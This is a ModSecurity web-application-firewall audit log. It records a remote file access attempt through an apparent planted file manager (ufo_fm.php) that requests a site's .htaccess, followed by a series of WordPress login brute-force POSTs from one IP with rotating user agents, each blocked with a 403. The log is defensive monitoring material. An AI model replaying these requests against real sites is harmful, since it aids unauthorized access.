Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDZPut1GUrjaX0wO431gAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313892700456 43921 (- - -)
Stopwatch2: 1789313892700456 43921; combined=41142, p1=262, p2=40779, p3=0, p4=0, p5=100, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--d9456500-Z--
--b9977a12-A--
[13/Sep/2026:18:38:46.262546 +0300] aqbDhvut1GUrjaX0wO43@gAAANQ 134.185.87.66 52700 127.0.0.1 7081
--b9977a12-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--b9977a12-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b9977a12-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:18-38.134.185.87.66"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313926201325 61279 (- - -)
Stopwatch2: 1789313926201325 61279; combined=60253, p1=284, p2=59446, p3=0, p4=0, p5=384, sr=123, sw=139, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b9977a12-Z--
--1b29b341-A--
[13/Sep/2026:18:38:46.643419 +0300] aqbDhvut1GUrjaX0wO43-AAAAMo 134.185.87.66 52724 127.0.0.1 7081
--1b29b341-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1b29b341-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1b29b341-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313926641526 1959 (- - -)
Stopwatch2: 1789313926641526 1959; combined=653, p1=269, p2=112, p3=0, p4=0, p5=271, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1b29b341-Z--
--dc34ad68-A--
[13/Sep/2026:18:38:47.034207 +0300] aqbDh-ut1GUrjaX0wO43-gAAANM 134.185.87.66 52742 127.0.0.1 7081
--dc34ad68-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--dc34ad68-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dc34ad68-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313927032540 1721 (- - -)
Stopwatch2: 1789313927032540 1721; combined=585, p1=251, p2=65, p3=0, p4=0, p5=269, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dc34ad68-Z--
--f4a2ad3b-A--
[13/Sep/2026:18:38:47.411248 +0300] aqbDh0hjHs68UzErry1KrQAAAIQ 134.185.87.66 52750 127.0.0.1 7081
--f4a2ad3b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 113
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f4a2ad3b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f4a2ad3b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313927409520 1781 (- - -)
Stopwatch2: 1789313927409520 1781; combined=570, p1=237, p2=106, p3=0, p4=0, p5=226, sr=109, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f4a2ad3b-Z--
--f2125e26-A--
[13/Sep/2026:18:38:47.795340 +0300] aqbDh1dqBhgxDSpG7haLBQAAAFM 134.185.87.66 52774 127.0.0.1 7081
--f2125e26-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f2125e26-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f2125e26-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313927793698 1710 (- - -)
Stopwatch2: 1789313927793698 1710; combined=619, p1=239, p2=128, p3=0, p4=0, p5=252, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f2125e26-Z--
--ef91f744-A--
[13/Sep/2026:18:38:48.180431 +0300] aqbDiPut1GUrjaX0wO44AgAAANg 134.185.87.66 52788 127.0.0.1 7081
--ef91f744-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--ef91f744-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ef91f744-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313928178770 1713 (- - -)
Stopwatch2: 1789313928178770 1713; combined=584, p1=228, p2=64, p3=0, p4=0, p5=292, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ef91f744-Z--
--70a63c68-A--
[13/Sep/2026:18:38:48.557371 +0300] aqbDiPut1GUrjaX0wO44BAAAAMU 134.185.87.66 52800 127.0.0.1 7081
--70a63c68-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 121
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--70a63c68-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--70a63c68-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313928555329 2128 (- - -)
Stopwatch2: 1789313928555329 2128; combined=683, p1=278, p2=101, p3=0, p4=0, p5=304, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--70a63c68-Z--
--989a7832-A--
[13/Sep/2026:18:38:48.937084 +0300] aqbDiPut1GUrjaX0wO44BgAAAMI 134.185.87.66 52810 127.0.0.1 7081
--989a7832-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--989a7832-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--989a7832-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313928935145 2015 (- - -)
Stopwatch2: 1789313928935145 2015; combined=672, p1=301, p2=87, p3=0, p4=0, p5=284, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--989a7832-Z--
--c3ed6759-A--
[13/Sep/2026:18:38:49.320416 +0300] aqbDiVdqBhgxDSpG7haLBgAAAEk 134.185.87.66 52828 127.0.0.1 7081
--c3ed6759-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 146
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c3ed6759-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c3ed6759-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313929318484 1987 (- - -)
Stopwatch2: 1789313929318484 1987; combined=729, p1=346, p2=100, p3=0, p4=0, p5=283, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c3ed6759-Z--
--aa60bd76-A--
[13/Sep/2026:18:38:49.720409 +0300] aqbDiUhjHs68UzErry1KrwAAAIg 134.185.87.66 52846 127.0.0.1 7081
--aa60bd76-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 112
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--aa60bd76-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aa60bd76-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313929716820 3644 (- - -)
Stopwatch2: 1789313929716820 3644; combined=767, p1=364, p2=100, p3=0, p4=0, p5=303, sr=172, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa60bd76-Z--
--eb4b5b1c-A--
[13/Sep/2026:18:38:50.107897 +0300] aqbDildqBhgxDSpG7haLBwAAAEw 134.185.87.66 52866 127.0.0.1 7081
--eb4b5b1c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 126
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--eb4b5b1c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--eb4b5b1c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313930105130 2837 (- - -)
Stopwatch2: 1789313930105130 2837; combined=720, p1=263, p2=133, p3=0, p4=0, p5=323, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eb4b5b1c-Z--
--7275967e-A--
[13/Sep/2026:18:38:50.492134 +0300] aqbDivut1GUrjaX0wO44CgAAANY 134.185.87.66 52888 127.0.0.1 7081
--7275967e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--7275967e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7275967e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313930489443 2892 (- - -)
Stopwatch2: 1789313930489443 2892; combined=1136, p1=410, p2=129, p3=0, p4=0, p5=597, sr=193, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7275967e-Z--
--d4880a06-A--
[13/Sep/2026:18:38:50.869876 +0300] aqbDivut1GUrjaX0wO44DAAAAMY 134.185.87.66 52892 127.0.0.1 7081
--d4880a06-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d4880a06-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d4880a06-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313930868127 1817 (- - -)
Stopwatch2: 1789313930868127 1817; combined=678, p1=305, p2=69, p3=0, p4=0, p5=303, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d4880a06-Z--
--fdd8c44d-A--
[13/Sep/2026:18:38:51.255448 +0300] aqbDi-ut1GUrjaX0wO44DQAAAM0 134.185.87.66 52908 127.0.0.1 7081
--fdd8c44d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 105
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--fdd8c44d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fdd8c44d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313931253869 1635 (- - -)
Stopwatch2: 1789313931253869 1635; combined=538, p1=255, p2=64, p3=0, p4=0, p5=219, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fdd8c44d-Z--
--1a081e18-A--
[13/Sep/2026:18:38:51.635500 +0300] aqbDi0hjHs68UzErry1KsAAAAI4 134.185.87.66 52936 127.0.0.1 7081
--1a081e18-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1a081e18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1a081e18-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313931633672 1922 (- - -)
Stopwatch2: 1789313931633672 1922; combined=606, p1=251, p2=75, p3=0, p4=0, p5=280, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1a081e18-Z--
--aa9ced7e-A--
